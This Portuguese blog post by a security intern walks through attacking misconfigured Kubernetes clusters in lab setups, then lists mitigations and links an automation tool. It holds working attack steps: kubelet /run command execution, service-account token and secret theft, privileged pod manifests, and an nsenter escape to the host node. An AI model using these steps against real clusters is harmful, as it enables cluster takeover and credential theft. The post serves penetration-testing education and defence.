Opa, tudo bem? Meu nome é Abner Alcântara. Sou estudante do curso de Bacharelado em Sistemas de Informação na Universidade Federal Rural de Pernambuco. Neste blogpost vou te apresentar a minha jornada; como fui parar no programa de estágio da Tempest e o resultado das pesquisas que realizei neste meu programa.

Ano passado tive a oportunidade de ingressar nesta empresa incrível, na qual tomei conhecimento de um mundo quase completamente novo para mim. Eu tinha noção de sua existência, porém, meu conhecimento se resumia a algumas ferramentas e o que era apresentado na série Mr.Robot (a qual sou fã e gosto muito de falar e comentar sobre, hahaha).

Realizei a inscrição, passei pelas provas, entrevista e …. Deu bom! Fui chamado!

Após entrar no time de consultoria, na minha primeira reunião, a daily, assim como todo novato comecei tímido… Depois de alguns minutos, me senti em casa! A cultura da Tempest é algo que você não irá encontrar em muitas empresas na área de tecnologia. Não há competições entre as pessoas do time, todo mundo se ajuda e o aprendizado é sempre gigantesco. Além da descontração e de um ambiente informal que também fazem parte do DNA da empresa, é claro. Em resumo… A experiência de estágio foi sensacional!

Mas chega de enrolação e vamos pro que interessa: o foco deste blogpost, a pesquisa!

É válido dizer que este tema foi proposto pela minha bússola do primeiro ciclo, Rodolfo Tavares! Além de propor o tema, ele me ajudou muito durante todo processo. Então só tenho a agradecer a este monstro! Valeu, mestre!

Vamos para o blogpost!

Kubernetes? Hã?

Acredito que antes de começar, preciso responder uma pergunta… O que diabos é Kubernetes?

Kubernetes nada mais é do que um orquestrador de contêineres.

Certo. Eu sei. Ainda estou falando grego. Mas siga a leitura que você irá entender.

Precisamos falar de contêineres e Docker!

Contêineres

Contêineres é uma definição dada no mundo da computação para um ambiente isolado e autocontido, colocado em um servidor, que divide um único host de controle. Cada contêiner, em geral, possui uma função e responsabilidade específicas. Os contêineres podem operar usando a característica de várias réplicas/instâncias de forma que caso um deles sofra um dano, o funcionamento do sistema como um todo não seja afetado, pela possibilidade de redirecionar as chamadas para um novo contêiner.

Docker

Docker[1] é uma solução para a criação de contêineres. A tecnologia Docker usa o kernel do Linux e recursos do mesmo como Cgroups (grupos de controle) e namespaces para segregar os processos. Assim, eles podem ser executados de maneira independente. (Guardem esta informação. Ela será útil quando entrarmos nos ataques).

Kubernetes

Certo. Mas onde o Kubernetes entra nesse processo todo?

Ao expandir a quantidade de contêineres criados, a manutenção e manipulação podem se tornar bastante complexas. Além de que existem diferentes tipos de contêineres, o que também torna este processo ainda mais difícil. É aí que o Kubernetes entra.

O Kubernetes facilita a criação, exclusão e gerenciamento destes contêineres. Com apenas um comando, é possível replicar a ação em todos os contêineres requeridos. Por conta disso, o Kubernetes é colocado como um “orquestrador de contêineres”.

Para realizar todo este controle sob os contêineres, o Kubernetes realiza a criação dos mesmos com uma camada de abstração, onde todos os contêineres criados seguem a mesma estrutura definida em sua criação. No Kubernetes os contêineres são chamados de Pods. Um pod pode ser um ou mais contêineres.

A arquitetura padrão de um cluster Kubernetes segue o que está apresentado na imagem a seguir:

Imagem 1 – Arquitetura padrão de um Cluster Kubernetes – Fonte: https://kubernetes.io/docs/concepts/overview/components/

O cluster Kubernetes é dividido em Node Primário e Nodes Secundários. Sendo os Nodes, os servidores. O Node Primário é responsável pelo controle do cluster como um todo. Control Plane é um grupo de funcionalidades ou componentes pertencentes ao Node Primário. Apesar de várias funcionalidades, para os ataques se faz importante apenas uma, a API Server ou apenas API, que é o “front-end” do Control Plane para acesso às informações dos Nodes Secundários e seus pods.

Falando de Node Secundário… O Node Secundário é responsável por todo o processamento dos componentes presentes. Como os pods. É nele que é armazenado, criado e gerenciado os pods. A funcionalidade responsável por esse trabalho com pods se chama Kubelet, que também será importante para os ataques.

Como é possível observar na imagem 1, existem vários outros componentes ou funcionalidades do cluster Kubernetes, mas o foco deste blogpost está nos ataques que são possíveis realizar caso este cluster esteja mal-configurado. Foi apresentado apenas as funcionalidades básicas do Kubernetes e seus componentes API Server e Kubelet, que são essenciais para os ataques. Porém, também existem outros que serão explicados no decorrer deste blogpost. Caso se interesse em obter mais informações sobre a ferramenta Kubernetes, recomendo a leitura de sua documentação em seu site oficial: https://kubernetes.io/docs/concepts/overview/components/

Depois deste overview sobre o que é containers, Docker e Kubernetes, podemos agora partir para main event deste blogpost, os ataques!

Como dito anteriormente os componentes chaves que serão utilizados como porta de entrada para os ataques são o Kubelet e a API.

E o que ambos têm em comum?

A forma de autenticação para seu acesso!

Assim que é realizado o deploy do cluster Kubernetes, caso não definidas durante o mesmo, as configurações padrão são realizadas e salvas nos arquivos kubelet.conf e kube-apiserver.yaml, respectivamente.

Nas versões mais recentes do Kubernetes, as configurações padrão mitigam de uma forma que será explicada no final deste blogpost. Porém, versões antigas do Kubernetes não possuem essas mitigações e, assim, por padrão, não existe necessidade de autenticação para o acesso tanto do Kubelet quanto da API!

Isso é extremamente perigoso, pois, se as portas destes componentes estiverem expostas para a internet, o acesso aos mesmos pode ser realizado por qualquer um!

E é utilizando-se deste problema que os ataques são possíveis.

Usando o Shodan.io, conseguimos observar quantos clusters Kubernetes espalhados pelo mundo estão com a porta padrão do Kubelet (10250) e a porta padrão da API (6443) aberta:

Imagem 2 – Busca no Shodan[2] por portas 10250 abertas.

Mais de 150.000 (cento e cinquenta mil) resultados para clusters Kubernetes com a porta 10250 aberta e exposta!

Vale ressaltar que apesar de ser uma má prática, o fato da porta 10250 do cluster estar exposta não significa que a autenticação no Kubelet é irrestrita. Na maioria dos casos, é dada a resposta “unauthorized quando a tentativa de acesso é realizada. Porém, entre os falsos positivos há vários casos onde o cluster de fato está vulnerável e passível ao ataque.

No caso da API Server, o teste é realizado ao se tentar acessar o caminho host:porta/apis/apiextensions.k8s.io, que lista os endpoints da API. Conseguindo acessá-lo, é possível dizer que o acesso a API Server não necessita de autenticação!

Imagem 3 – Busca no Shodan[2] por portas da API Server abertas e com o possível acesso não-autenticado.

No caso, há mais de 600 (seiscentos) clusters Kubernetes passíveis a este ataque.

Certo… Agora que sabemos o que são as vulnerabilidades, podemos ir para a execução destes ataques. Em ambos, será possível:

  • Listar os pods em execução no node acessado;
  • Obter execução de comandos em um dos pods;
  • Realizar o deploy de um pod malicioso no cluster;
  • Escapar do pod;
  • Obter acesso direto ao servidor que está sendo utilizado como node.

ATACANDO O KUBELET

Vamos começar com o Kubelet.

Obviamente, é crime atacar sem autorização, mesmo que para propósitos educacionais, aplicações, clusters, entre outros de supostas pessoas físicas, empresas, entidades etc. Por conta disso, labs foram construídos para exemplificar cada ataque.

O lab do ataque na funcionalidade Kubelet se resume em:

  • Instância na Amazon AWS;
  • Ubuntu Server 20.04.1;
  • Kubernetes23.0;
  • Minikube23.0;

Lab descrito e objetivos definidos… Está na hora de pôr a mão na massa!

Com o host do cluster Kubernetes em mãos, primeiramente, precisamos checar se a porta 10250 está exposta na internet. Para isso basta fazer uma requisição para a mesma.

Utilizando a ferramenta curl é possível realizar essa requisição como demonstrado na imagem a seguir:

Imagem 4 – Resposta da requisição realizada para a porta 10250 do host escolhido.

Nota-se que a requisição retorna como resposta um “404 not found”. Isso é bom! (Para nós hahaha). Como falei anteriormente, isso mostra que a porta está sim exposta na internet.

Para saber se de fato o cluster está com o componente Kubelet sem um método de autorização apropriado, basta realizar a mesma requisição, porém definindo o endpoint /runningpods/.

(Lembrem-se que os componentes do cluster funcionam como uma API. As funcionalidades podem ser chamadas como endpoints de uma API).

Realizando a requisição para o /runningpods/, o Kubelet deverá retornar todos os pods que estão atualmente rodando no node cujo componente Kubelet foi acessado, caso não haja um mecanismo de autorização definido, como também mostra a imagem a seguir:

Imagem 5 – Resposta com os pods da requisição realizada para /runningpods/

Perfeito! Sabemos agora que a porta do Kubelet está exposta na internet e que o mesmo está vulnerável pois não necessita de autorização para acessá-lo…

E agora?

Agora meus amigos, é partir para o acesso completo no cluster com privilégios de admin!

É bom ter em mente que apesar de ser possível ter acesso ao Kubelet do node secundário do cluster, ainda é plausível que tenhamos alguns empecilhos pela frente, pois, talvez, não seja possível atingir um dos objetivos propostos anteriormente, por mitigações realizadas pelo sysadmin. Não é o nosso caso, porém, caso isso aconteça em seu pentest no dia-a-dia, não se frustre.

Bom, agora que vimos que temos acesso ao cluster, o objetivo será tomar controle de um dos pods. Apesar de termos acesso, isso não significa que podemos fazer o que quisermos. Para a criação de pods, por exemplo, você precisa de um service account com privilégio para tal.

Certo, mas o que é um Service Account?

O service account nada mais é do que um recurso do Kubernetes utilizado para autenticar os pods ou outras entidades a API Server do cluster. Quando o pod é criado, ele é vinculado a um service account próprio com as devidas permissões CRUD no cluster.

Dito isso, caso esteja em um pentest, após obter a lista de pods rodando no cluster, copie o namespace do pod, assim como seu nome e contêiner que são listados quando na resposta da requisição para o caminho /runningpods/. A query para a execução do comando é esta:

curl -XPOST -k https://<ip>:10250/run/<namespace>/<nome_do_pod>/<contêiner> \
-d "cmd=<comando>"

É essencial tentar executar comandos nos pods como na imagem abaixo:

Imagem 6 – Resposta com a listagem de diretórios do pod Tiller. A requisição foi realizada com sucesso.

Se em algum dos comandos for possível, foque em obter o service account do mesmo. Por padrão, eles ficam no caminho: /var/run/secrets/kubernetes.io/serviceaccount/token. Com o token do service account em mãos, se o pod que estamos acessando estiver vinculado a um SA com privilégio para criar outros pods, podemos utilizá-lo para o deploy do nosso pod malicioso.

Alguns pods podem ter o SA com privilégios de administrador.

Um bastante comum de ser encontrado com esse nível de privilégio nos clusters afora é o Tiller. Será o que iremos utilizar neste ataque, como mostra nas imagens a seguir:

Imagem 7 – Resposta com o hostname do pod. A requisição foi realizada com sucesso.

Como vamos utilizar o SA do Tiller, podemos agora esquecer a ferramenta curl um pouquinho e focar no CLI do Kubernetes: kubectl.  https://kubernetes.io/docs/tasks/tools/

Recomendo baixá-lo e instalá-lo, pois o mesmo vai facilitar bastante nossa vida em relação a execução de comandos no pod, além de ser essencial no momento para futura shell que iremos pegar em um dos nodes. Necessitamos de uma shell interativa para tal feito e a execução de comandos pelo curl não nos possibilita isso, infelizmente.

Com o kubectl devidamente instalado, podemos acessar o cluster novamente, porém, por conta do SA pertencente ao Tiller, conseguimos acessá-lo com diversos privilégios, entre eles a criação e exclusão de pods!

Agora podemos dar nossa cartada final neste cluster e assim o obter acesso direto ao node. Tá na hora do deploy do nosso pod malicioso:

apiVersion: v1
kind: Pod
metadata:
  name: busybox
spec:
  hostPID: true
  containers:
  - name: busybox
    image: busybox:1.32.0
    args:
    - sleep
    - "1000000"
    securityContext:
      privileged: true
      allowPrivilegeEscalation: true
      capabilities:
        add:
        - SYS_ADMIN

Tal pod irá se utilizar de algumas funcionalidades do Docker. Como privilégio, escalação de privilégio e a capacidade de ser SYS_ADMIN do host, ou neste caso, do node que estamos acessando.

Este pod malicioso, que iremos realizar o deploy, permitirá rodar a shell sh compartilhando os recursos de um dos nodes que está hospedando o cluster Kubernetes. Assim teremos acesso a todos os seus arquivos, programas, informações etc, como se estivéssemos acessando o próprio node diretamente. Isso nos dará basicamente acesso domain admin a todo cluster como os nodes.

Primeiramente, é preciso obter o SA do pod Tiller para termos privilégio de realizar o deploy de um pod, o que é feito na imagem 8 a seguir:

Imagem 8 – Token SA capturado!

Após isso, vamos atribuir o token obtido como uma variável de ambiente para facilitar na hora de o utilizarmos na query que será executada:

Imagem 9 – O token SA foi atribuído a variável de ambiente “token” para facilitar a execução dos comandos do kubectl

Agora precisamos acessar o pod tiller por meio de uma shell interativa. O kubectl, como citado anteriormente, nos ajuda nesse processo. Basta executar uma simples query:

kubectl --insecure-skip-tls-verify=true --server="https://<ip_cluster>:<porta_api>" --token="<sa_token>" -n <namespace_do_pod> exec -it <nome_do_pod> -- /bin/sh
Imagem 10 – Shell interativa no pod Tiller obtida com sucesso!

Shell interativa obtida no pod Tiller. Agora para o deploy do pod malicioso manualmente é necessário o kubectl. Este processo é simples, basta utilizar o seguinte comando acessando a pasta /tmp:

wget https://storage.googleapis.com/kubernetes-release/v1.20.2/bin/linux/amd64/kubectl && chmod +x kubectl

O wget irá baixar o binário, enquanto o comando “chmod +x” irá transformá-lo em executável:

Imagem 11 – Baixando o binário do kubectl na pasta /tmp e transformando-o em executável.

Após isso, basta realizar o deploy. Para isso, apenas copie as especificações dadas anteriormente do pod, execute o comando “cat <<EOF | ./kubectl apply -f –”, cole as especificações e adicione um “EOF” no final, como demonstrado na imagem 12 a seguir:

Imagem 12 – Deploy do pod malicioso realizado com sucesso!

O deploy também pode ser feito adicionando as especificações do pod em um arquivo .yaml e após isso, executar o comando “./kubectl apply -f nome_do_arquivo.yaml”.

Assim como acessamos o pod Tiller por meio de uma shell interativa utilizando o kubectl, precisamos fazer o mesmo com o busybox (nome do pod malicioso). Basta executar o mesmo comando que foi executado para a shell interativa com Tiller. Porém, neste caso, precisamos apenas executar “./kubectl exec -it busybox – /bin/sh”, como demostrado na imagem:

Imagem 13 – Shell interativa no pod busybox obtida com sucesso!

Após obtermos uma shell no busybox, para ter acesso completo ao node, precisamos utilizar uma outra ferramenta chamada nsenter. Esta ferramenta já vem instalada com o linux e ela realiza a execução de nossa shell no namespace informado, que será, no caso, o namespace do node.

(Este namespace no linux é diferente do Kubernetes. Mas o princípio é o mesmo).

Na shell no busybox basta executar “nsenter -t 1 -m -u -n -i sh”, segue o exemplo na imagem:

Imagem 14 – Troca de namespace realizada!

Pronto! Acessamos completamente nosso primeiro cluster Kubernetes com privilégio de admin!

Viu como é fácil? A teoria pode ser um pouco densa, mas o processo é relativamente simples!

ATACANDO A API SERVER

Quer ver uma forma ainda mais fácil de obter o acesso de admin? Sem a necessidade de procurar e depender de um pod que tenha certos privilégios específicos e que execute comandos? Basta acessar a API Server!

Como dito anteriormente, a API é o front-end para os nodes secundários enviarem suas informações, informações dos pods e outras entidades para o control plane do node primário. Obter acesso a API Server do cluster Kubernetes é o mesmo que obter acesso à máquina do domain-admin de uma rede.

E sim! É possível!

A mesma má prática na autenticação do Kubelet, também pode acontecer na API e é exponencialmente mais perigoso. Pois caso vulnerável, é possível obter acesso direto às secrets do cluster com apenas uma requisição.

Secrets é a forma segura de salvar credenciais no cluster. Em alguns casos, alguns pods, como os de banco de dados, necessitam definir as credenciais no seu arquivo YAML. Para evitar tal má prática, basta salvar as credenciais no secrets e apenas definir suas referências no arquivo YAML.

São salvos no Secrets também os SAs de cada pod e outras entidades!

Acredito que com essa breve explicação foi possível enxergar o nível de criticidade desta má prática!

O lab do ataque na funcionalidade de API Server se resume em:

  • Máquina Virtual com o Ubuntu Server20.04.1;
  • Kubernetes23.0;
  • Kind11.1;

Realizando a requisição para o caminho /apis/apiextensions.k8s.io, caso a resposta seja um 200 OK com uma lista de endpoints da API, meus parabéns… Você pode facilmente realizar um outro acesso completo com privilégios de admin neste cluster! A imagem 15 a seguir exemplifica bem isto. A requisição foi feita utilizando o curl:

Imagem 15 – Resposta 200 OK da requisição, assim como o retorno das apis que podem ser acessadas.

Sabendo que a API está vulnerável, basta agora realizar a requisição para o caminho /api/v1/secrets para a obtenção de todos os secrets presentes neste cluster. Incluindo os SAs para o deploy de um pod malicioso!

Imagem 16 – Retorno do secrets após sua tentativa de acesso.

Em seguida, basta procurar o SA relacionado ao kube-system. Os SAs relacionados ao kube-system possuem privilégios de administrador dentro do cluster.

(Vale ressaltar que os conteúdos das Secrets são codificadas em base64. Faz-se necessário decodificar os valores caso precisem ser utilizados).

O processo de deploy do pod continua o mesmo do que foi feito no ataque do Kubelet. O que muda é o acesso. Não precisamos passar o token SA no caso do acesso direto a API. Basta definir o nosso usuário como “unauthenticated e executar a query a seguir no kubectl:

kubectl --insecure-skip-tls-verify=true --username=system:unauthenticated -s https://<ip>:<porta_api> -n kube-system <comando_do_kubectl>

Agora podemos realizar o mesmo deploy do pod malicioso (busybox) e teremos acesso ao node novamente, certo? Errado.

Justamente por conta da ferramenta de criação de cluster Kubernetes: Kind. Ao contrário do minikube, o Kind cria novos containers Docker para ser utilizado como node primário e os nodes secundários. Assim, não estão tendo acesso direto a máquina que está hospedando o node, mas sim, ao um container criado para imitar o node no qual obtemos acesso.

Porém, é possível bypassar isto utilizando ferramentas básicas do linux como o fdisk e o mount. Para montarmos o filesystem raíz do node. Assim teremos acesso a todos os arquivos presentes neste filesystem.

O pod malicioso terá a seguinte configuração:

apiVersion: v1

kind: Pod

metadata:

  labels:

    run: busybox

  name: busybox

spec:

  hostPID: true

  hostIPC: true

  hostNetwork: true

  volumes:

  - name: host-fs

    hostPath:

      path: /

  containers:

  - image: busybox:1.32.0

    name: busybox

    command: ["/bin/sh", "-c", "sleep infinity"]

    securityContext:

      privileged: true

      allowPrivilegeEscalation: true

    volumeMounts:

    - name: host-fs

      mountPath: /host

  restartPolicy: Never

Após o acesso a shell interativa, utilize a ferramenta fdisk para listar todas as partições pertencentes há aquele container, como mostra a imagem a seguir:

Imagem 17 – Listando os discos presentes na máquina.

Sabemos agora qual o diretório assim como o nome do armazenamento completo da máquina que está hospedando os contêineres criados pelo kind. Agora precisamos montar este disco em uma pasta. Foi criado uma pasta no diretório /mnt/ chamada tempest para realizarmos isso:

Imagem 18 – Pasta tempest criada, assim como a montagem do disco na mesma.

Após isso, já podemos acessar todos os arquivos presentes neste disco, assim como os arquivos pertencentes ao usuário root e empresa_pc, como foi encontrado após a leitura do arquivo /etc/passwd. Porém, para facilitar a nossa vida, vamos trocar o diretório root do busybox pelo diretório tempest. Assim tendo acesso aos arquivos de forma mais facilitada, sem precisar ficar acessando ou referindo a pasta tempest.

Imagem 19 – Troca do diretório root do busybox para o diretório tempest e leitura do arquivo passwd mostrando o usuário empresa_pc.

ATACANDO O CLUSTER KUBERNETES POR MEIO DE UMA VULNERABILIDADE RCE EM UMA APLICAÇÃO WEB

Certo. Já atacamos o Kubelet e atacamos a API Server

Mas e se durante um pentest web você encontrar um RCE na aplicação e olhando as variáveis de ambiente, você verificou que está na verdade dentro de um pod em um cluster Kubernetes? Também dá para acessar todo o cluster? Mas é claro que dá.

Lembrem-se que nossa carta coringa é o service account. Sempre que notarem que estão dentro de um pod ou existe uma suspeita, procure sempre pelo SA. Ele vai ser a chave (literalmente) para a entrada no cluster como um todo.

Porém, podemos ter outro problema. E se o SA não permitir a criação de pods? É um problema que pode acontecer e que já foi citado anteriormente neste blogpost. Existe algum tipo de bypass nesta configuração?

A resposta é sim! Existe!

Porém, não funciona em todos os casos. Pois se o DevOps que gerencia o cluster definiu este bloqueio no namespace em questão, é bem provável que ele ou ela também tenha se preocupado em não autorizar a criação e exclusão em outros namespaces também. Porém, existem casos onde há aplicações em desenvolvimento e para facilitar o deploy do pod, é criado um namespacedeveloper”, onde pods que hospedam aplicações em homologação, podem criar e excluir os pods dentro deste namespace. Algumas aplicações que já foram colocadas em produção, podem ainda ter o SA que permita a criação/exclusão de pods neste namespace em específico.

Bingo! Encontramos um outro ponto em que uma má prática se tornou novamente vulnerabilidade.

Ao tentar criar um pod malicioso no namespace default, é dito que não temos autorização para tal feito.

Porém, acessando pasta /serviceaccount/ onde é armazenado o token SA, também se encontra um arquivo chamado namespace. Neste arquivo contém o namespace para onde aquele service account foi vinculado.

Acessando-o é possível notar que o namespace para aquele SA é justamente o “developers”.

Tentando novamente criar o pod malicioso porém definindo o namespace “developers” pela flag “-n developers” no kubectl, qual o resultado?

Isso mesmo, conseguimos criar um pod malicioso neste mesmo namespace. Agora é só seguir com o resto do ataque como foi mostrado nos dois últimos e bingo! Acesso completo ao cluster!

Mitigação das Vulnerabilidades

Tudo bem… Mas como é feito para mitigar estas vulnerabilidades?

No caso do Kubelet vale seguir essas mitigações:

  • Defina o campo “–anonymous-auth” para “false” no arquivo de configuração (conf);
  • Defina o campo “–authorization-mode” para “Webhook” no arquivo de configuração (conf);
  • Se possível não expôr a porta 10250 ou qualquer outra porta pertencente ao kubelet para a internet;
  • Certifique-se de que os services accounts têm o mínimo possível de privilégios necessários para as tasks;
  • Não crie containers com privilégios;
  • Crie um conjunto de regras do Pod Security Policy;
  • Crie Network Policies para evitar que os Pods possam acessar a API Server;
  • Sempre atualizar o Kubernetes para a versão mais recente.

No caso da API vale seguir essas mitigações:

  • No arquivo de configuração kube-apiserver.yaml, definir o campo “–anonymous-auth” para “false”. Assim como o “–authorization-mode” deve estar definido para “Node,RBAC”.
  • Checar se o kube-apiserver não está exposto na internet. Permitir apenas acesso a APIs do cluster em rede interna.
  • Certifique-se de que os services accounts têm o mínimo de privilégios necessários para as tasks.
  • Não crie containers com privilégios.
  • Crie Network Policies para evitar que os Pods possam acessar a API Server.

No caso do acesso ao pod pelo RCE encontrado na aplicação:

  • Crie um conjunto de regras do Pod Security Policy.
  • Crie um ClusterRole para reforçar o uso do PSP (será preciso também criar um ClusterRoleBinding para vincular o ClusterRole com o Service Account).
  • Crie um Service Account com regras restritas ao que é possível para cada Pod.
  • Crie uma regra de RunAsUser para o contêiner. A forma default permite o privilégio de root.

K8sKiller

Ok, apesar de simples, é muito trabalhoso ter acesso completo a um cluster Kubernetes. É necessário realizar uma série de requisições e caçar alguns dados para o acesso ser completo. Para sanar tal problema, criei uma ferramenta.

Essa ferramenta fez parte da minha pesquisa do segundo ciclo. Basicamente dediquei a pesquisa para o desenvolvimento da ferramenta. A chamo de: K8skiller.

A ferramenta é pública e está disponível em meu Github (https://github.com/ech0png/k8skiller). Para começar a utilizá-la, basta baixá-la e utilizando o pip3, instalar as libs responsáveis pelo seu funcionamento. Os nomes das libs e suas respectivas versões se encontram no arquivo requirements.txt dentro da pasta do K8skiller.

Após sua execução, basta adicionar o host do cluster na ferramenta. Em seguida, a mesma irá fazer todo seu trabalho para você.

Ela irá verificar se o cluster está vulnerável e caso o resultado seja positivo, o K8skiller irá obter todos os pods, secrets, estabelecer uma forma de deploy dos pods maliciosos assim como sua exclusão após o acesso completo acontecer. Tudo isso é feito apenas selecionando as opções disponibilizadas na ferramenta.

Resumindo, o K8skiller irá automatizar todo o processo para você, assim como simplificá-lo. A ferramenta foi desenvolvida em Python 3.

Github: (https://github.com/ech0png/k8skiller)

REFERÊNCIAS

[1] – Docker Inc. Acesso em: 25 abril, 2022. Disponível em: https://www.docker.com/

[2] – Docker Inc. Acesso em: 25 abril, 2022. Disponível em: https://www.docker.com/resources/what-container

[3] – Cloud Native Computing Foundation. O que é Kubernetes? Acesso em: 02 maio, 2022. Disponível em: https://kubernetes.io/pt-br/docs/concepts/overview/what-is-kubernetes/

[4]- Eduardo Baitello. FAUN Publication. Attacking Kubernetes clusters using the Kubelet API. Acesso em: 07 maio, 2022. Disponível em:  https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca?gi=20596aa7205e

[5] – SecurityTrails. Blast Radius: Misconfigured Kubernetes. Acesso em: 08 maio, 2022. Disponível em:   https://securitytrails.com/blog/blast-radius-misconfigured-kubernetes